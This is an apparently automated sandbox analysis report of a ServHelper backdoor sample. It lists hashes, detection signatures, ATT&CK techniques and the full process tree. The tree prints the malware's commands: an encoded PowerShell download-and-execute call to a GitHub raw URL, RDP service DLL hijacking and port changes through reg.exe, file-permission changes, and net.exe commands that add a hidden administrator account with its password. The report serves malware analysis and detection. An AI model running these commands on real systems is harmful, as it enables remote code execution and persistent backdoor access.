servhelper | 39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b

Analysis

max time kernel
124s
max time network
119s
platform
windows7_x64
resource
win7v20210410
submitted
23-05-2021 06:34

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General

Target

4d4cb53955f998f339000039ebd0685b.exe
Size

6.0MB
MD5

4d4cb53955f998f339000039ebd0685b
SHA1

49218231e8ce8358683bca89a28e3f533bd25700
SHA256

39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b
SHA512

651c27448bd488b9f2628bee4a05f4e25111882fffe398419815aa6239939bac8d39a3e951549acf084870d94c6461cc6c7e3e934f0049fcc7c80b69fbdab640

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1580	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1968	icacls.exe
872	icacls.exe
1616	takeown.exe
608	icacls.exe
368	icacls.exe
320	icacls.exe
1988	icacls.exe
1376	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130f3-171.dat	upx
behavioral1/files/0x00050000000130f4-172.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
316	Process not Found
316	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1988	icacls.exe
1376	icacls.exe
1968	icacls.exe
872	icacls.exe
1616	takeown.exe
608	icacls.exe
368	icacls.exe
320	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_96fcf466-8626-456c-b65d-71f95fdc40c7	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_58885267-a2aa-45ac-b5cc-c7647d879db0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_580391b9-8042-41de-9264-380b6258e7f4	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8e909fd6-901a-4ef9-ad84-2611f57dc167	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca24857b-5527-4c33-a8ba-07f1a98f1b19	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6801ac02-44fb-41af-bf35-f9ae1a0a5013	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2c1ab524-9ff5-495d-bbf9-bf1aca26e50f	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\39VSH4OWISI95KNBAPL2.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c713bb68-a163-4c1d-881e-4088db5296bd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c3d92103-9d4b-439f-96b3-ba9efc0b2853	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_673c6dbf-024d-459d-a529-cb1912925e97	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6980e536-6381-4d23-aa6d-ac08936f9798	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 303119439d4fd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
592	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2012	powershell.exe
2012	powershell.exe
1560	powershell.exe
1560	powershell.exe
872	powershell.exe
872	powershell.exe
1992	powershell.exe
1992	powershell.exe
2012	powershell.exe
2012	powershell.exe
2012	powershell.exe
1580	powershell.exe
1580	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
464	Process not Found
316	Process not Found
316	Process not Found
316	Process not Found
316	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeRestorePrivilege	368	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	684	WMIC.exe
Token: SeAuditPrivilege	684	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	684	WMIC.exe
Token: SeAuditPrivilege	684	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	568	WMIC.exe
Token: SeAuditPrivilege	568	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	568	WMIC.exe
Token: SeAuditPrivilege	568	WMIC.exe
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 2012	1688	4d4cb53955f998f339000039ebd0685b.exe	29
PID 1688 wrote to memory of 2012	1688	4d4cb53955f998f339000039ebd0685b.exe	29
PID 1688 wrote to memory of 2012	1688	4d4cb53955f998f339000039ebd0685b.exe	29
PID 2012 wrote to memory of 1560	2012	powershell.exe	31
PID 2012 wrote to memory of 1560	2012	powershell.exe	31
PID 2012 wrote to memory of 1560	2012	powershell.exe	31
PID 2012 wrote to memory of 872	2012	powershell.exe	33
PID 2012 wrote to memory of 872	2012	powershell.exe	33
PID 2012 wrote to memory of 872	2012	powershell.exe	33
PID 2012 wrote to memory of 1992	2012	powershell.exe	35
PID 2012 wrote to memory of 1992	2012	powershell.exe	35
PID 2012 wrote to memory of 1992	2012	powershell.exe	35
PID 2012 wrote to memory of 1616	2012	powershell.exe	38
PID 2012 wrote to memory of 1616	2012	powershell.exe	38
PID 2012 wrote to memory of 1616	2012	powershell.exe	38
PID 2012 wrote to memory of 608	2012	powershell.exe	39
PID 2012 wrote to memory of 608	2012	powershell.exe	39
PID 2012 wrote to memory of 608	2012	powershell.exe	39
PID 2012 wrote to memory of 368	2012	powershell.exe	40
PID 2012 wrote to memory of 368	2012	powershell.exe	40
PID 2012 wrote to memory of 368	2012	powershell.exe	40
PID 2012 wrote to memory of 320	2012	powershell.exe	41
PID 2012 wrote to memory of 320	2012	powershell.exe	41
PID 2012 wrote to memory of 320	2012	powershell.exe	41
PID 2012 wrote to memory of 1988	2012	powershell.exe	42
PID 2012 wrote to memory of 1988	2012	powershell.exe	42
PID 2012 wrote to memory of 1988	2012	powershell.exe	42
PID 2012 wrote to memory of 1376	2012	powershell.exe	43
PID 2012 wrote to memory of 1376	2012	powershell.exe	43
PID 2012 wrote to memory of 1376	2012	powershell.exe	43
PID 2012 wrote to memory of 1968	2012	powershell.exe	44
PID 2012 wrote to memory of 1968	2012	powershell.exe	44
PID 2012 wrote to memory of 1968	2012	powershell.exe	44
PID 2012 wrote to memory of 872	2012	powershell.exe	45
PID 2012 wrote to memory of 872	2012	powershell.exe	45
PID 2012 wrote to memory of 872	2012	powershell.exe	45
PID 2012 wrote to memory of 1496	2012	powershell.exe	46
PID 2012 wrote to memory of 1496	2012	powershell.exe	46
PID 2012 wrote to memory of 1496	2012	powershell.exe	46
PID 2012 wrote to memory of 592	2012	powershell.exe	47
PID 2012 wrote to memory of 592	2012	powershell.exe	47
PID 2012 wrote to memory of 592	2012	powershell.exe	47
PID 2012 wrote to memory of 544	2012	powershell.exe	48
PID 2012 wrote to memory of 544	2012	powershell.exe	48
PID 2012 wrote to memory of 544	2012	powershell.exe	48
PID 2012 wrote to memory of 1868	2012	powershell.exe	49
PID 2012 wrote to memory of 1868	2012	powershell.exe	49
PID 2012 wrote to memory of 1868	2012	powershell.exe	49
PID 1868 wrote to memory of 1972	1868	net.exe	50
PID 1868 wrote to memory of 1972	1868	net.exe	50
PID 1868 wrote to memory of 1972	1868	net.exe	50
PID 2012 wrote to memory of 1580	2012	powershell.exe	51
PID 2012 wrote to memory of 1580	2012	powershell.exe	51
PID 2012 wrote to memory of 1580	2012	powershell.exe	51
PID 1580 wrote to memory of 672	1580	cmd.exe	52
PID 1580 wrote to memory of 672	1580	cmd.exe	52
PID 1580 wrote to memory of 672	1580	cmd.exe	52
PID 672 wrote to memory of 1452	672	cmd.exe	53
PID 672 wrote to memory of 1452	672	cmd.exe	53
PID 672 wrote to memory of 1452	672	cmd.exe	53
PID 1452 wrote to memory of 920	1452	net.exe	54
PID 1452 wrote to memory of 920	1452	net.exe	54
PID 1452 wrote to memory of 920	1452	net.exe	54
PID 2012 wrote to memory of 704	2012	powershell.exe	55

C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe
"C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1616
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:608
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:368
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:320
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1988
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1376
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1968
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:872
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1496
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:592
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:544
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1972
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:672
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1452
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:920
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:704
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1836
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1120
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:368
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:888
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1968

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:304
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1256
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1036

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc BBCbMzY5 /add
1⤵
PID:544
- C:\Windows\system32\net.exe
  net.exe user wgautilacc BBCbMzY5 /add
  2⤵
  PID:1388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc BBCbMzY5 /add
    3⤵
    PID:1604

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:436
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1608

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1496
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1868

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1984
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1972

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc BBCbMzY5
1⤵
PID:1596
- C:\Windows\system32\net.exe
  net.exe user wgautilacc BBCbMzY5
  2⤵
  PID:1616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc BBCbMzY5
    3⤵
    PID:652

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:328
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:684

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:108
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:568

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1496
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/872-121-0x000000001B860000-0x000000001B861000-memory.dmp

Filesize
4KB

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memory/872-119-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/872-124-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

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memory/872-123-0x000000001AA20000-0x000000001AA21000-memory.dmp

Filesize
4KB

Download
memory/872-125-0x000000001AB30000-0x000000001AB32000-memory.dmp

Filesize
8KB

Download
memory/872-126-0x000000001AB34000-0x000000001AB36000-memory.dmp

Filesize
8KB

Download
memory/1560-90-0x000000001B780000-0x000000001B781000-memory.dmp

Filesize
4KB

Download
memory/1560-92-0x000000001B680000-0x000000001B681000-memory.dmp

Filesize
4KB

Download
memory/1560-86-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

Filesize
8KB

Download
memory/1560-87-0x000000001ACC4000-0x000000001ACC6000-memory.dmp

Filesize
8KB

Download
memory/1560-88-0x00000000025C0000-0x00000000025C1000-memory.dmp

Filesize
4KB

Download
memory/1560-112-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

Filesize
4KB

Download
memory/1560-111-0x000000001B5F0000-0x000000001B5F1000-memory.dmp

Filesize
4KB

Download
memory/1560-98-0x000000001AC80000-0x000000001AC81000-memory.dmp

Filesize
4KB

Download
memory/1560-93-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

Filesize
4KB

Download
memory/1580-196-0x0000000019334000-0x0000000019336000-memory.dmp

Filesize
8KB

Download
memory/1580-195-0x0000000019330000-0x0000000019332000-memory.dmp

Filesize
8KB

Download
memory/1580-198-0x000000001933A000-0x0000000019359000-memory.dmp

Filesize
124KB

Download
memory/1688-64-0x0000000041347000-0x0000000041348000-memory.dmp

Filesize
4KB

Download
memory/1688-62-0x0000000041344000-0x0000000041346000-memory.dmp

Filesize
8KB

Download
memory/1688-61-0x0000000041342000-0x0000000041344000-memory.dmp

Filesize
8KB

Download
memory/1688-59-0x00000000417F0000-0x0000000041C11000-memory.dmp

Filesize
4.1MB

Download
memory/1688-63-0x0000000041346000-0x0000000041347000-memory.dmp

Filesize
4KB

Download
memory/1992-141-0x000000001AD64000-0x000000001AD66000-memory.dmp

Filesize
8KB

Download
memory/1992-140-0x000000001AD60000-0x000000001AD62000-memory.dmp

Filesize
8KB

Download
memory/2012-76-0x000000001B500000-0x000000001B501000-memory.dmp

Filesize
4KB

Download
memory/2012-66-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

Filesize
8KB

Download
memory/2012-68-0x000000001AB90000-0x000000001AB91000-memory.dmp

Filesize
4KB

Download
memory/2012-67-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

Download
memory/2012-69-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/2012-70-0x00000000025A0000-0x00000000025A1000-memory.dmp

Filesize
4KB

Download
memory/2012-72-0x000000001AB14000-0x000000001AB16000-memory.dmp

Filesize
8KB

Download
memory/2012-71-0x000000001AB10000-0x000000001AB12000-memory.dmp

Filesize
8KB

Download
memory/2012-74-0x000000001C530000-0x000000001C531000-memory.dmp

Filesize
4KB

Download
memory/2012-77-0x000000001B600000-0x000000001B601000-memory.dmp

Filesize
4KB

Download
memory/2012-78-0x000000001AB1A000-0x000000001AB39000-memory.dmp

Filesize
124KB

Download
memory/2012-79-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/2012-148-0x000000001C600000-0x000000001C601000-memory.dmp

Filesize
4KB

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